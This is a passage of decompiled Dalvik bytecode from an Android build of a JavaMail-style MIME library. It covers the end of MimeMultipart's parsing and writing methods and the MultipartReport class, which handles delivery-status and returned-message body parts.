000001A8  invoke-virtual          String->charAt(I)C, v1, v9
000001AE  move-result             v11
000001B0  const/16                v12, 0x20
000001B4  if-eq                   v11, v12, :1C0
:1B8
000001B8  const/16                v12, 0x9
000001BC  if-ne                   v11, v12, :13E
:1C0
000001C0  add-int/lit8            v9, v9, 0xFFFFFFFFFFFFFFFF
000001C4  goto                    :13A
:1C6
000001C6  const-string            v9, "--"
000001CA  invoke-virtual          String->startsWith(String)Z, v1, v9
000001D0  move-result             v9
000001D2  if-eqz                  v9, :15C
:1D6
000001D6  move-object             v5, v1
000001D8  goto/16                 :D4
:1DC
000001DC  move-exception          v8
000001DE  const-string            v8, "\n"
000001E2  goto                    :17C
:1E4
000001E4  if-eqz                  v10, :1F8
:1E8
000001E8  invoke-virtual          StringBuffer->toString()String, v10
000001EE  move-result-object      v1
000001F0  move-object/from16      v0, p0
000001F4  iput-object             v1, v0, MimeMultipart->preamble:String
:1F8
000001F8  invoke-static           ASCIIUtility->getBytes(String)[B, v5
000001FE  move-result-object      v16
00000200  move-object/from16      v0, v16
00000204  array-length            v0, v0
00000206  move/from16             v17, v0
:20A
0000020A  const/4                 v5, 0x0
:20C
0000020C  if-eqz                  v5, :224
:210
00000210  invoke-virtual          InputStream->close()V, v2
:216
00000216  const/4                 v1, 0x1
:218
00000218  move-object/from16      v0, p0
0000021C  iput-boolean            v1, v0, MimeMultipart->parsed:Z
:220
00000220  goto/16                 :E
:224
00000224  const/4                 v1, 0x0
00000226  if-eqz                  v14, :272
:22A
0000022A  invoke-interface        SharedInputStream->getPosition()J, v14
00000230  move-result-wide        v6
:232
00000232  invoke-virtual          LineInputStream->readLine()String, v15
00000238  move-result-object      v8
0000023A  if-eqz                  v8, :24A
:23E
0000023E  invoke-virtual          String->length()I, v8
00000244  move-result             v9
00000246  if-gtz                  v9, :232
:24A
0000024A  if-nez                  v8, :4E2
:24E
0000024E  sget-boolean            v1, MimeMultipart->ignoreMissingEndBoundary:Z
00000252  if-nez                  v1, :266
:256
00000256  new-instance            v1, MessagingException
0000025A  const-string            v3, "missing multipart end boundary"
0000025E  invoke-direct           MessagingException-><init>(String)V, v1, v3
00000264  throw                   v1
:266
00000266  const/4                 v1, 0x0
00000268  move-object/from16      v0, p0
0000026C  iput-boolean            v1, v0, MimeMultipart->complete:Z
00000270  goto                    :210
:272
00000272  move-object/from16      v0, p0
00000276  invoke-virtual          MimeMultipart->createInternetHeaders(InputStream)InternetHeaders, v0, v2
0000027C  move-result-object      v1
0000027E  move-object             v11, v1
00000280  move-wide               v12, v6
:282
00000282  invoke-virtual          InputStream->markSupported()Z, v2
00000288  move-result             v1
0000028A  if-nez                  v1, :29E
:28E
0000028E  new-instance            v1, MessagingException
00000292  const-string            v3, "Stream doesn\'t support mark"
00000296  invoke-direct           MessagingException-><init>(String)V, v1, v3
0000029C  throw                   v1
:29E
0000029E  const/4                 v1, 0x0
000002A0  if-nez                  v14, :344
:2A4
000002A4  new-instance            v1, ByteArrayOutputStream
000002A8  invoke-direct           ByteArrayOutputStream-><init>()V, v1
:2AE
000002AE  const/4                 v7, 0x1
000002B0  const/4                 v6, 0xFFFFFFFFFFFFFFFF
000002B2  const/4                 v8, 0xFFFFFFFFFFFFFFFF
000002B4  move/from16             v18, v8
000002B8  move                    v8, v7
000002BA  move/from16             v19, v6
000002BE  move-wide               v6, v3
000002C0  move/from16             v3, v18
000002C4  move/from16             v4, v19
:2C8
000002C8  if-eqz                  v8, :4D6
:2CC
000002CC  add-int/lit8            v8, v17, 0x4
000002D0  add-int/lit16           v8, v8, 0x3E8
000002D4  invoke-virtual          InputStream->mark(I)V, v2, v8
000002DA  const/4                 v8, 0x0
:2DC
000002DC  move/from16             v0, v17
000002E0  if-lt                   v8, v0, :34E
:2E4
000002E4  move/from16             v0, v17
000002E8  if-ne                   v8, v0, :3B6
:2EC
000002EC  invoke-virtual          InputStream->read()I, v2
000002F2  move-result             v8
000002F4  const/16                v9, 0x2D
000002F8  if-ne                   v8, v9, :370
:2FC
000002FC  invoke-virtual          InputStream->read()I, v2
00000302  move-result             v9
00000304  const/16                v10, 0x2D
00000308  if-ne                   v9, v10, :370
:30C
0000030C  const/4                 v3, 0x1
0000030E  move-object/from16      v0, p0
00000312  iput-boolean            v3, v0, MimeMultipart->complete:Z
00000316  const/4                 v3, 0x1
:318
00000318  if-eqz                  v14, :492
:31C
0000031C  invoke-interface        SharedInputStream->newStream(J, J)InputStream, v14, v12, v13, v6, v7
00000322  move-result-object      v1
00000324  move-object/from16      v0, p0
00000328  invoke-virtual          MimeMultipart->createMimeBodyPart(InputStream)MimeBodyPart, v0, v1
0000032E  move-result-object      v1
:330
00000330  move-object/from16      v0, p0
00000334  invoke-super            Multipart->addBodyPart(BodyPart)V, v0, v1
0000033A  move                    v5, v3
0000033C  move-wide               v3, v6
0000033E  move-wide               v6, v12
00000340  goto/16                 :20C
:344
00000344  invoke-interface        SharedInputStream->getPosition()J, v14
0000034A  move-result-wide        v3
0000034C  goto                    :2AE
:34E
0000034E  invoke-virtual          InputStream->read()I, v2
00000354  move-result             v9
00000356  aget-byte               v10, v16, v8
0000035A  and-int/lit16           v10, v10, 0xFF
0000035E  if-ne                   v9, v10, :2E4
:362
00000362  add-int/lit8            v8, v8, 0x1
00000366  goto                    :2DC
:368
00000368  invoke-virtual          InputStream->read()I, v2
0000036E  move-result             v8
:370
00000370  const/16                v9, 0x20
00000374  if-eq                   v8, v9, :368
:378
00000378  const/16                v9, 0x9
0000037C  if-eq                   v8, v9, :368
:380
00000380  const/16                v9, 0xA
00000384  if-ne                   v8, v9, :38C
:388
00000388  move                    v3, v5
0000038A  goto                    :318
:38C
0000038C  const/16                v9, 0xD
00000390  if-ne                   v8, v9, :3B6
:394
00000394  const/4                 v3, 0x1
00000396  invoke-virtual          InputStream->mark(I)V, v2, v3
0000039C  invoke-virtual          InputStream->read()I, v2
000003A2  move-result             v3
000003A4  const/16                v4, 0xA
000003A8  if-eq                   v3, v4, :4DC
:3AC
000003AC  invoke-virtual          InputStream->reset()V, v2
000003B2  move                    v3, v5
000003B4  goto                    :318
:3B6
000003B6  invoke-virtual          InputStream->reset()V, v2
000003BC  if-eqz                  v1, :4D6
:3C0
000003C0  const/4                 v8, 0xFFFFFFFFFFFFFFFF
000003C2  if-eq                   v4, v8, :4D6
:3C6
000003C6  invoke-virtual          ByteArrayOutputStream->write(I)V, v1, v4
000003CC  const/4                 v4, 0xFFFFFFFFFFFFFFFF
000003CE  if-eq                   v3, v4, :3D8
:3D2
000003D2  invoke-virtual          ByteArrayOutputStream->write(I)V, v1, v3
:3D8
000003D8  const/4                 v3, 0xFFFFFFFFFFFFFFFF
000003DA  move                    v8, v3
:3DC
000003DC  invoke-virtual          InputStream->read()I, v2
000003E2  move-result             v9
000003E4  if-gez                  v9, :40E
:3E8
000003E8  sget-boolean            v3, MimeMultipart->ignoreMissingEndBoundary:Z
000003EC  if-nez                  v3, :400
:3F0
000003F0  new-instance            v1, MessagingException
000003F4  const-string            v3, "missing multipart end boundary"
000003F8  invoke-direct           MessagingException-><init>(String)V, v1, v3
000003FE  throw                   v1
:400
00000400  const/4                 v3, 0x0
00000402  move-object/from16      v0, p0
00000406  iput-boolean            v3, v0, MimeMultipart->complete:Z
0000040A  const/4                 v3, 0x1
0000040C  goto                    :318
:40E
0000040E  const/16                v4, 0xD
00000412  if-eq                   v9, v4, :41E
:416
00000416  const/16                v4, 0xA
0000041A  if-ne                   v9, v4, :476
:41E
0000041E  const/4                 v10, 0x1
00000420  if-eqz                  v14, :4D2
:424
00000424  invoke-interface        SharedInputStream->getPosition()J, v14
0000042A  move-result-wide        v3
0000042C  const-wide/16           v6, 0x1
00000430  sub-long/2addr          v3, v6
:432
00000432  const/16                v6, 0xD
00000436  if-ne                   v9, v6, :4C6
:43A
0000043A  const/4                 v6, 0x1
0000043C  invoke-virtual          InputStream->mark(I)V, v2, v6
00000442  invoke-virtual          InputStream->read()I, v2
00000448  move-result             v6
0000044A  const/16                v7, 0xA
0000044E  if-ne                   v6, v7, :464
:452
00000452  move                    v8, v10
00000454  move/from16             v18, v6
00000458  move-wide               v6, v3
0000045A  move                    v4, v9
0000045C  move/from16             v3, v18
00000460  goto/16                 :2C8
:464
00000464  invoke-virtual          InputStream->reset()V, v2
0000046A  move-wide               v6, v3
0000046C  move                    v4, v9
0000046E  move                    v3, v8
00000470  move                    v8, v10
00000472  goto/16                 :2C8
:476
00000476  const/4                 v4, 0x0
00000478  if-eqz                  v1, :4B6
:47C
0000047C  invoke-virtual          ByteArrayOutputStream->write(I)V, v1, v9
00000482  move/from16             v18, v8
00000486  move                    v8, v4
00000488  move                    v4, v3
0000048A  move/from16             v3, v18
0000048E  goto/16                 :2C8
:492
00000492  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v1
00000498  move-result-object      v1
0000049A  move-object/from16      v0, p0
0000049E  invoke-virtual          MimeMultipart->createMimeBodyPart(InternetHeaders, [B)MimeBodyPart, v0, v11, v1
:4A4
000004A4  move-result-object      v1
000004A6  goto/16                 :330
:4AA
000004AA  move-exception          v2
000004AC  goto/16                 :102
:4B0
000004B0  move-exception          v1
000004B2  goto/16                 :216
:4B6
000004B6  move/from16             v18, v8
000004BA  move                    v8, v4
000004BC  move                    v4, v3
000004BE  move/from16             v3, v18
000004C2  goto/16                 :2C8
:4C6
000004C6  move-wide               v6, v3
000004C8  move                    v4, v9
000004CA  move                    v3, v8
000004CC  move                    v8, v10
000004CE  goto/16                 :2C8
:4D2
000004D2  move-wide               v3, v6
000004D4  goto                    :432
:4D6
000004D6  move                    v8, v3
000004D8  move                    v3, v4
000004DA  goto                    :3DC
:4DC
000004DC  move                    v3, v5
000004DE  goto/16                 :318
:4E2
000004E2  move-object             v11, v1
000004E4  move-wide               v12, v6
000004E6  goto/16                 :282
:4EA
000004EA  move-object             v9, v10
000004EC  goto/16                 :196
:4F0
000004F0  move-object             v14, v1
000004F2  goto/16                 :76
:4F6
000004F6  move-object             v2, v5
000004F8  goto/16                 :64
          .catchall {:2 .. :A} :22
          .catchall {:12 .. :20} :22
          .catch Exception {:32 .. :64} :104
          .catchall {:32 .. :64} :22
          .catchall {:64 .. :B6} :22
          .catch IOException {:B8 .. :E8} :E8
          .catchall {:B8 .. :E8} :FA
          .catchall {:EA .. :FA} :FA
          .catch IOException {:FC .. :102} :4AA
          .catchall {:FC .. :102} :22
          .catchall {:102 .. :12E} :22
          .catch IOException {:12E .. :162} :E8
          .catchall {:12E .. :162} :FA
          .catch SecurityException {:16C .. :17A} :1DC
          .catch IOException {:16C .. :17A} :E8
          .catchall {:16C .. :17A} :FA
          .catch IOException {:180 .. :20A} :E8
          .catchall {:180 .. :20A} :FA
          .catch IOException {:210 .. :216} :4B0
          .catchall {:210 .. :216} :22
          .catchall {:218 .. :220} :22
          .catch IOException {:22A .. :4A4} :E8
          .catchall {:22A .. :4A4} :FA
.end method

.method public removeBodyPart(I)V
          .registers 2
00000000  invoke-virtual          MimeMultipart->parse()V, p0
00000006  invoke-super            Multipart->removeBodyPart(I)V, p0, p1
0000000C  return-void
.end method

.method public removeBodyPart(BodyPart)Z
          .registers 3
00000000  invoke-virtual          MimeMultipart->parse()V, p0
00000006  invoke-super            Multipart->removeBodyPart(BodyPart)Z, p0, p1
0000000C  move-result             v0
0000000E  return                  v0
.end method

.method public declared-synchronized setPreamble(String)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-object             p1, p0, MimeMultipart->preamble:String
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized setSubType(String)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, ContentType
00000006  iget-object             v1, p0, MimeMultipart->contentType:String
0000000A  invoke-direct           ContentType-><init>(String)V, v0, v1
00000010  invoke-virtual          ContentType->setSubType(String)V, v0, p1
00000016  invoke-virtual          ContentType->toString()String, v0
0000001C  move-result-object      v0
0000001E  iput-object             v0, p0, MimeMultipart->contentType:String
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
          .catchall {:2 .. :22} :26
.end method

.method protected updateHeaders()V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  move                    v1, v0
:4
00000004  iget-object             v0, p0, MimeMultipart->parts:Vector
00000008  invoke-virtual          Vector->size()I, v0
0000000E  move-result             v0
00000010  if-lt                   v1, v0, :16
:14
00000014  return-void
:16
00000016  iget-object             v0, p0, MimeMultipart->parts:Vector
0000001A  invoke-virtual          Vector->elementAt(I)Object, v0, v1
00000020  move-result-object      v0
00000022  check-cast              v0, MimeBodyPart
00000026  invoke-virtual          MimeBodyPart->updateHeaders()V, v0
0000002C  add-int/lit8            v0, v1, 0x1
00000030  move                    v1, v0
00000032  goto                    :4
.end method

.method public declared-synchronized writeTo(OutputStream)V
          .registers 7
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          MimeMultipart->parse()V, p0
00000008  new-instance            v0, StringBuilder
0000000C  const-string            v1, "--"
00000010  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000016  new-instance            v1, ContentType
0000001A  iget-object             v2, p0, MimeMultipart->contentType:String
0000001E  invoke-direct           ContentType-><init>(String)V, v1, v2
00000024  const-string            v2, "boundary"
00000028  invoke-virtual          ContentType->getParameter(String)String, v1, v2
0000002E  move-result-object      v1
00000030  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000036  move-result-object      v0
00000038  invoke-virtual          StringBuilder->toString()String, v0
0000003E  move-result-object      v2
00000040  new-instance            v3, LineOutputStream
00000044  invoke-direct           LineOutputStream-><init>(OutputStream)V, v3, p1
0000004A  iget-object             v0, p0, MimeMultipart->preamble:String
0000004E  if-eqz                  v0, :94
:52
00000052  iget-object             v0, p0, MimeMultipart->preamble:String
00000056  invoke-static           ASCIIUtility->getBytes(String)[B, v0
0000005C  move-result-object      v0
0000005E  invoke-virtual          LineOutputStream->write([B)V, v3, v0
00000064  array-length            v1, v0
00000066  if-lez                  v1, :94
:6A
0000006A  array-length            v1, v0
0000006C  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000070  aget-byte               v1, v0, v1
00000074  const/16                v4, 0xD
00000078  if-eq                   v1, v4, :94
:7C
0000007C  array-length            v1, v0
0000007E  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000082  aget-byte               v0, v0, v1
00000086  const/16                v1, 0xA
0000008A  if-eq                   v0, v1, :94
:8E
0000008E  invoke-virtual          LineOutputStream->writeln()V, v3
:94
00000094  const/4                 v0, 0x0
00000096  move                    v1, v0
:98
00000098  iget-object             v0, p0, MimeMultipart->parts:Vector
0000009C  invoke-virtual          Vector->size()I, v0
000000A2  move-result             v0
000000A4  if-lt                   v1, v0, :D8
:A8
000000A8  new-instance            v0, StringBuilder
000000AC  invoke-static           String->valueOf(Object)String, v2
000000B2  move-result-object      v1
000000B4  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000000BA  const-string            v1, "--"
000000BE  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000000C4  move-result-object      v0
000000C6  invoke-virtual          StringBuilder->toString()String, v0
000000CC  move-result-object      v0
000000CE  invoke-virtual          LineOutputStream->writeln(String)V, v3, v0
:D4
000000D4  monitor-exit            p0
000000D6  return-void
:D8
000000D8  invoke-virtual          LineOutputStream->writeln(String)V, v3, v2
000000DE  iget-object             v0, p0, MimeMultipart->parts:Vector
000000E2  invoke-virtual          Vector->elementAt(I)Object, v0, v1
000000E8  move-result-object      v0
000000EA  check-cast              v0, MimeBodyPart
000000EE  invoke-virtual          MimeBodyPart->writeTo(OutputStream)V, v0, p1
000000F4  invoke-virtual          LineOutputStream->writeln()V, v3
:FA
000000FA  add-int/lit8            v0, v1, 0x1
000000FE  move                    v1, v0
00000100  goto                    :98
:102
00000102  move-exception          v0
00000104  monitor-exit            p0
00000106  throw                   v0
          .catchall {:2 .. :D4} :102
          .catchall {:D8 .. :FA} :102
.end method

#--------------------------------------------------------------------------------
.class public MultipartReport
.super MimeMultipart
.source ""

.field protected constructed:Z

.method public constructor <init>()V
          .registers 4
00000000  const/4                 v2, 0x1
00000002  const-string            v0, "report"
00000006  invoke-direct           MimeMultipart-><init>(String)V, p0, v0
0000000C  new-instance            v0, MimeBodyPart
00000010  invoke-direct           MimeBodyPart-><init>()V, v0
00000016  const/4                 v1, 0x0
00000018  invoke-direct           MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
0000001E  new-instance            v0, MimeBodyPart
00000022  invoke-direct           MimeBodyPart-><init>()V, v0
00000028  invoke-direct           MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v2
0000002E  iput-boolean            v2, p0, MultipartReport->constructed:Z
00000032  return-void
.end method

.method public constructor <init>(String, DeliveryStatus)V
          .registers 7
00000000  const/4                 v3, 0x1
00000002  const-string            v0, "report"
00000006  invoke-direct           MimeMultipart-><init>(String)V, p0, v0
0000000C  new-instance            v0, ContentType
00000010  iget-object             v1, p0, MultipartReport->contentType:String
00000014  invoke-direct           ContentType-><init>(String)V, v0, v1
0000001A  const-string            v1, "report-type"
0000001E  const-string            v2, "delivery-status"
00000022  invoke-virtual          ContentType->setParameter(String, String)V, v0, v1, v2
00000028  invoke-virtual          ContentType->toString()String, v0
0000002E  move-result-object      v0
00000030  iput-object             v0, p0, MultipartReport->contentType:String
00000034  new-instance            v0, MimeBodyPart
00000038  invoke-direct           MimeBodyPart-><init>()V, v0
0000003E  invoke-virtual          MimeBodyPart->setText(String)V, v0, p1
00000044  const/4                 v1, 0x0
00000046  invoke-direct           MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
0000004C  new-instance            v0, MimeBodyPart
00000050  invoke-direct           MimeBodyPart-><init>()V, v0
00000056  const-string            v1, "message/delivery-status"
0000005A  invoke-virtual          MimeBodyPart->setContent(Object, String)V, v0, p2, v1
00000060  invoke-direct           MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v3
00000066  iput-boolean            v3, p0, MultipartReport->constructed:Z
0000006A  return-void
.end method

.method public constructor <init>(String, DeliveryStatus, InternetHeaders)V
          .registers 7
00000000  invoke-direct           MultipartReport-><init>(String, DeliveryStatus)V, p0, p1, p2
00000006  if-eqz                  p3, :30
:A
0000000A  new-instance            v0, MimeBodyPart
0000000E  invoke-direct           MimeBodyPart-><init>()V, v0
00000014  new-instance            v1, MessageHeaders
00000018  invoke-direct           MessageHeaders-><init>(InternetHeaders)V, v1, p3
0000001E  const-string            v2, "text/rfc822-headers"
00000022  invoke-virtual          MimeBodyPart->setContent(Object, String)V, v0, v1, v2
00000028  const/4                 v1, 0x2
0000002A  invoke-direct           MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
:30
00000030  return-void
.end method

.method public constructor <init>(String, DeliveryStatus, MimeMessage)V
          .registers 6
00000000  invoke-direct           MultipartReport-><init>(String, DeliveryStatus)V, p0, p1, p2
00000006  if-eqz                  p3, :26
:A
0000000A  new-instance            v0, MimeBodyPart
0000000E  invoke-direct           MimeBodyPart-><init>()V, v0
00000014  const-string            v1, "message/rfc822"
00000018  invoke-virtual          MimeBodyPart->setContent(Object, String)V, v0, p3, v1
0000001E  const/4                 v1, 0x2
00000020  invoke-direct           MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
:26
00000026  return-void
.end method

.method public constructor <init>(DataSource)V
          .registers 3
00000000  invoke-direct           MimeMultipart-><init>(DataSource)V, p0, p1
00000006  invoke-virtual          MultipartReport->parse()V, p0
0000000C  const/4                 v0, 0x1
0000000E  iput-boolean            v0, p0, MultipartReport->constructed:Z
00000012  return-void
.end method

.method private declared-synchronized setBodyPart(BodyPart, I)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, MultipartReport->parts:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, MultipartReport->parts:Vector
:18
00000018  iget-object             v0, p0, MultipartReport->parts:Vector
0000001C  invoke-virtual          Vector->size()I, v0
00000022  move-result             v0
00000024  if-ge                   p2, v0, :2E
:28
00000028  invoke-super            MimeMultipart->removeBodyPart(I)V, p0, p2
:2E
0000002E  invoke-super            MimeMultipart->addBodyPart(BodyPart, I)V, p0, p1, p2
:34
00000034  monitor-exit            p0
00000036  return-void
:38
00000038  move-exception          v0
0000003A  monitor-exit            p0
0000003C  throw                   v0
          .catchall {:2 .. :34} :38
.end method

.method public declared-synchronized addBodyPart(BodyPart)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, MultipartReport->constructed:Z
00000006  if-nez                  v0, :14
:A
0000000A  invoke-super            MimeMultipart->addBodyPart(BodyPart)V, p0, p1
:10
00000010  monitor-exit            p0
00000012  return-void
:14
00000014  new-instance            v0, MessagingException
00000018  const-string            v1, "Can\'t add body parts to multipart/report 1"
0000001C  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000022  throw                   v0
:24
00000024  move-exception          v0
00000026  monitor-exit            p0
00000028  throw                   v0
          .catchall {:2 .. :10} :24
          .catchall {:14 .. :24} :24
.end method

.method public declared-synchronized addBodyPart(BodyPart, I)V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, MessagingException
00000006  const-string            v1, "Can\'t add body parts to multipart/report 2"
0000000A  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000010  throw                   v0
:12
00000012  move-exception          v0
00000014  monitor-exit            p0
00000016  throw                   v0
          .catchall {:2 .. :12} :12
.end method

.method public declared-synchronized getDeliveryStatus()DeliveryStatus
          .registers 4
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-virtual          MultipartReport->getCount()I, p0
:A
0000000A  move-result             v1
0000000C  const/4                 v2, 0x2
0000000E  if-ge                   v1, v2, :16
:12
00000012  monitor-exit            p0
00000014  return-object           v0
:16
00000016  const/4                 v1, 0x1
:18
00000018  invoke-virtual          MultipartReport->getBodyPart(I)BodyPart, p0, v1
0000001E  move-result-object      v1
00000020  const-string            v2, "message/delivery-status"
00000024  invoke-virtual          BodyPart->isMimeType(String)Z, v1, v2
:2A
0000002A  move-result             v2
0000002C  if-eqz                  v2, :12
:30
00000030  invoke-virtual          BodyPart->getContent()Object, v1
00000036  move-result-object      v0
00000038  check-cast              v0, DeliveryStatus
:3C
0000003C  goto                    :12
:3E
0000003E  move-exception          v0
:40
00000040  new-instance            v1, MessagingException
00000044  const-string            v2, "IOException getting DeliveryStatus"
00000048  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000004E  throw                   v1
:50
00000050  move-exception          v0
00000052  monitor-exit            p0
00000054  throw                   v0
          .catchall {:4 .. :A} :50
          .catchall {:18 .. :2A} :50
          .catch IOException {:30 .. :3C} :3E
          .catchall {:30 .. :3C} :50
          .catchall {:40 .. :50} :50
.end method

.method public declared-synchronized getReturnedMessage()MimeMessage
          .registers 4
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-virtual          MultipartReport->getCount()I, p0
:A
0000000A  move-result             v1
0000000C  const/4                 v2, 0x3
0000000E  if-ge                   v1, v2, :16
:12
00000012  monitor-exit            p0
00000014  return-object           v0
:16
00000016  const/4                 v1, 0x2
:18
00000018  invoke-virtual          MultipartReport->getBodyPart(I)BodyPart, p0, v1
0000001E  move-result-object      v1
00000020  const-string            v2, "message/rfc822"
00000024  invoke-virtual          BodyPart->isMimeType(String)Z, v1, v2
0000002A  move-result             v2
0000002C  if-nez                  v2, :40
:30
00000030  const-string            v2, "text/rfc822-headers"
00000034  invoke-virtual          BodyPart->isMimeType(String)Z, v1, v2
:3A
0000003A  move-result             v2
0000003C  if-eqz                  v2, :12
:40
00000040  invoke-virtual          BodyPart->getContent()Object, v1
00000046  move-result-object      v0
00000048  check-cast              v0, MimeMessage
:4C
0000004C  goto                    :12
:4E
0000004E  move-exception          v0
:50
00000050  new-instance            v1, MessagingException
00000054  const-string            v2, "IOException getting ReturnedMessage"
00000058  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000005E  throw                   v1
:60
00000060  move-exception          v0
00000062  monitor-exit            p0
00000064  throw                   v0
          .catchall {:4 .. :A} :60
          .catchall {:18 .. :3A} :60
          .catch IOException {:40 .. :4C} :4E
          .catchall {:40 .. :4C} :60
          .catchall {:50 .. :60} :60
.end method

.method public declared-synchronized getText()String
          .registers 5
00000000  const/4                 v1, 0x0
00000002  monitor-enter           p0
00000004  const/4                 v0, 0x0
:6
00000006  invoke-virtual          MultipartReport->getBodyPart(I)BodyPart, p0, v0
0000000C  move-result-object      v0
0000000E  const-string            v2, "text/plain"
00000012  invoke-virtual          BodyPart->isMimeType(String)Z, v0, v2
00000018  move-result             v2
0000001A  if-eqz                  v2, :2E
:1E
0000001E  invoke-virtual          BodyPart->getContent()Object, v0
00000024  move-result-object      v0
00000026  check-cast              v0, String
:2A
0000002A  monitor-exit            p0
0000002C  return-object           v0
:2E
0000002E  const-string            v2, "multipart/alternative"
00000032  invoke-virtual          BodyPart->isMimeType(String)Z, v0, v2
00000038  move-result             v2
0000003A  if-eqz                  v2, :56
:3E
0000003E  invoke-virtual          BodyPart->getContent()Object, v0
00000044  move-result-object      v0
00000046  check-cast              v0, Multipart
:4A
0000004A  invoke-virtual          Multipart->getCount()I, v0
00000050  move-result             v2
00000052  if-lt                   v1, v2, :5A
:56
00000056  const/4                 v0, 0x0
00000058  goto                    :2A
:5A
0000005A  invoke-virtual          Multipart->getBodyPart(I)BodyPart, v0, v1
00000060  move-result-object      v2
00000062  const-string            v3, "text/plain"
00000066  invoke-virtual          BodyPart->isMimeType(String)Z, v2, v3
0000006C  move-result             v3
0000006E  if-eqz                  v3, :80
:72
00000072  invoke-virtual          BodyPart->getContent()Object, v2
00000078  move-result-object      v0
0000007A  check-cast              v0, String
:7E
0000007E  goto                    :2A
:80
00000080  add-int/lit8            v1, v1, 0x1
00000084  goto                    :4A
:86
00000086  move-exception          v0
:88
00000088  new-instance            v1, MessagingException
0000008C  const-string            v2, "Exception getting text content"
00000090  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000096  throw                   v1
:98
00000098  move-exception          v0
0000009A  monitor-exit            p0
0000009C  throw                   v0
          .catch IOException {:6 .. :2A} :86
          .catchall {:6 .. :2A} :98
          .catch IOException {:2E .. :7E} :86
          .catchall {:2E .. :7E} :98
          .catchall {:88 .. :98} :98
.end method

.method public declared-synchronized getTextBodyPart()MimeBodyPart
          .registers 2
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
:4
00000004  invoke-virtual          MultipartReport->getBodyPart(I)BodyPart, p0, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, MimeBodyPart
:10
00000010  monitor-exit            p0
00000012  return-object           v0
:14
00000014  move-exception          v0
00000016  monitor-exit            p0
00000018  throw                   v0
          .catchall {:4 .. :10} :14
.end method

.method public removeBodyPart(I)V
          .registers 4
00000000  new-instance            v0, MessagingException
00000004  const-string            v1, "Can\'t remove body parts from multipart/report"
00000008  invoke-direct           MessagingException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public removeBodyPart(BodyPart)Z
          .registers 4
00000000  new-instance            v0, MessagingException
00000004  const-string            v1, "Can\'t remove body parts from multipart/report"
00000008  invoke-direct           MessagingException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public declared-synchronized setDeliveryStatus(DeliveryStatus)V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, MimeBodyPart
00000006  invoke-direct           MimeBodyPart-><init>()V, v0
0000000C  const-string            v1, "message/delivery-status"
00000010  invoke-virtual          MimeBodyPart->setContent(Object, String)V, v0, p1, v1
00000016  const/4                 v1, 0x2
00000018  invoke-direct           MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
0000001E  new-instance            v0, ContentType
00000022  iget-object             v1, p0, MultipartReport->contentType:String
00000026  invoke-direct           ContentType-><init>(String)V, v0, v1
0000002C  const-string            v1, "report-type"
00000030  const-string            v2, "delivery-status"
00000034  invoke-virtual          ContentType->setParameter(String, String)V, v0, v1, v2
0000003A  invoke-virtual          ContentType->toString()String, v0
00000040  move-result-object      v0
00000042  iput-object             v0, p0, MultipartReport->contentType:String
:46
00000046  monitor-exit            p0
00000048  return-void
:4A
0000004A  move-exception          v0
0000004C  monitor-exit            p0
0000004E  throw                   v0
          .catchall {:2 .. :46} :4A
.end method

.method public declared-synchronized setReturnedMessage(MimeMessage)V
          .registers 4
00000000  monitor-enter           p0
00000002  if-nez                  p1, :24
:6
00000006  iget-object             v0, p0, MultipartReport->parts:Vector
0000000A  const/4                 v1, 0x2
0000000C  invoke-virtual          Vector->elementAt(I)Object, v0, v1
00000012  move-result-object      v0
00000014  check-cast              v0, BodyPart
00000018  const/4                 v0, 0x2
0000001A  invoke-super            MimeMultipart->removeBodyPart(I)V, p0, v0
:20
00000020  monitor-exit            p0
00000022  return-void
:24
00000024  new-instance            v0, MimeBodyPart
00000028  invoke-direct           MimeBodyPart-><init>()V, v0
0000002E  instance-of             v1, p1, MessageHeaders
00000032  if-eqz                  v1, :50
:36
00000036  const-string            v1, "text/rfc822-headers"
0000003A  invoke-virtual          MimeBodyPart->setContent(Object, String)V, v0, p1, v1
:40
00000040  const/4                 v1, 0x2
00000042  invoke-direct           MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
:48
00000048  goto                    :20
:4A
0000004A  move-exception          v0
0000004C  monitor-exit            p0
0000004E  throw                   v0
